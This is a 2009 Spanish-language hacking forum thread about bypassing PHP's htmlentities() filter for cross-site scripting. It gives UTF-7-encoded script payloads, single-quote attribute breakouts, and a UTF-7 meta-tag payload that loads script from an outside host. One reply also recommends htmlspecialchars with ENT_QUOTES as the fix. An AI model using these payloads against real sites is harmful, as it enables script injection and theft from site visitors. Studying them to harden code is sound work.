Título: [?]Bypass de htmlentities()[/?] Publicado por: braulio-- en 12 Abril 2009, 21:24 pm Hola, escribo este post para ver si alguien conoce una forma de bypass del filtro htmlentities().
No me acuerdo donde lei que había una forma que era cambiando la codificacion de utf-8 a utf-7 o algo así. Si alguien conoce alguna forma de pasarlo que lo posteará aqui porfavor. Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: sirdarckcat en 12 Abril 2009, 21:31 pm depende de como y donde este puesto.. y con que argumentos.
Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: braulio-- en 12 Abril 2009, 22:05 pm Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: WHK en 12 Abril 2009, 22:08 pm Te cuento lo que sucede,
Cuando una aplicación wb está utilizando una codificación UTF-7 puedes hacer el bypass o sea poder escribir código html dentro del sitio web siempre y cuando te permita escribir en el como por ejemplo un buscador y cosas así donde lo que tu escribas quede reflejado en ese sitio. Código
Si en este ejemplo lo pones en un servidor puedes ver que te envía una cabezera UTF-7 asi que toda la codificación del sitio web estará en UTF-7. Probamos.. Pedimos: test.php?buscar=<script>alert(/XSS/);</script> Nos debuelve: Citar <script>alert(/XSS/);</script> Ahora si lo convertimos en utf7 antes de enviar nos queda así: Código Citar +ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4- Tomamos eso y lo enviamos al script vulnerable:Pedimos: test.php?buscar=+ADw-script+AD4-alert(/XSS/)+ADsAPA-/script+AD4- Nos debuelve: Citar <script>alert(/XSS/);</script> Pero solo sirven con sitios que declaren en sus cabezeras que están haciendo uso del UTF-7. Ahora como dice sdc también es importante ver como está hecho el sitio antes de sacar conclusiones porque por ejemplo talves filtra las comillas dobles y las simples no y talves para encerrar sus variables html hace uso de comillas dobles y puede causar un xss como por ejemplo: Código En este caso aunque esté haciendo uso de utf8 podrá causarse un xss escapando con las comillas simples: test.php?nombre=x' onload(/xss/) id='x Puedes encontrar la información acá: http://us3.php.net/htmlentities Citar Example #1 Un ejemplo de htmlentities() Código
Si te fijas en el caso de no declarar ENT_QUOTES estás dejando libre las comillas simples y es un error muy común. Yo recomendaría hacer uso de htmlspecialchars($texto, ENT_QUOTES) previniendo este tipo de ataques aunque un buén uso de htmlentities debería dar casi el mismo resultado. Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: braulio-- en 12 Abril 2009, 22:15 pm Muchas gracias WHK!! Ahora mismo hago unas pruebas.
Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: braulio-- en 12 Abril 2009, 22:26 pm Pero de todas formas , aunque te permita salirte del campo de texto ( en el caso que no filtre las comillas simples) no puede pasar otros carácteres como "<" y ">".
Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: WHK en 12 Abril 2009, 22:30 pm No, no se puede pero por eso depende mucho del sitio web porque si está dentro de un input o un código javascript puedes hacer un xss igual sin esos carácteres.
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_10409-t244090.0.html Puedes leer los temas que tengan relación con XSS para que tengas mas claro como hacerlo. Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: sirdarckcat en 13 Abril 2009, 04:03 am Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7.
Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: braulio-- en 13 Abril 2009, 17:54 pm Creo que ya lo entiendo,
por ejemplo tenemos una aplicacion que sea algo asi: Código Nosotros podriamos meter en la variable ruta : http://taltal/imagen.jpg ' onload=alert(/XSS/) Entonces al final quedaría asi : Código: Esto es una foto... <img src='[color=red]http://taltal/imagen.jpg' onload=alert(/XSS/)[/color]'> Esto es debido a que no filtra las comillas simples.Nolo he probado , pero creo que esta bien. Gracias por contestar. Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: Data Seek3r en 16 Abril 2009, 10:02 am Si puedes pasar ese filtro en IE, mandando una meta tag encodeada en UTF-7 especificando que el contenido es UTF-7. ¿Podrias explicar o pasar algun tutorial sobre como hacer eso? Título: Re: [?]Bypass de htmlentities()[/?] Publicado por: sirdarckcat en 16 Abril 2009, 14:17 pm Si..
http://openmya.hacker.jp/hasegawa/security/utf7cs.html Abre esta pagina en IE: http://www.sirdarckcat.net/utf7.html El codigo: Código: +ADw-/title+AD4APA-meta http-equiv+AD0AIg-Content-Type+ACI content+AD0AIg-text/html+ADs charset+AD0-UTF-7+ACI-/+AD4APA-script src+AD0AIg-//h4k.in+ACIAPgA8-/script+AD4- Pasa htmlentities sin problemas. Saludos!! |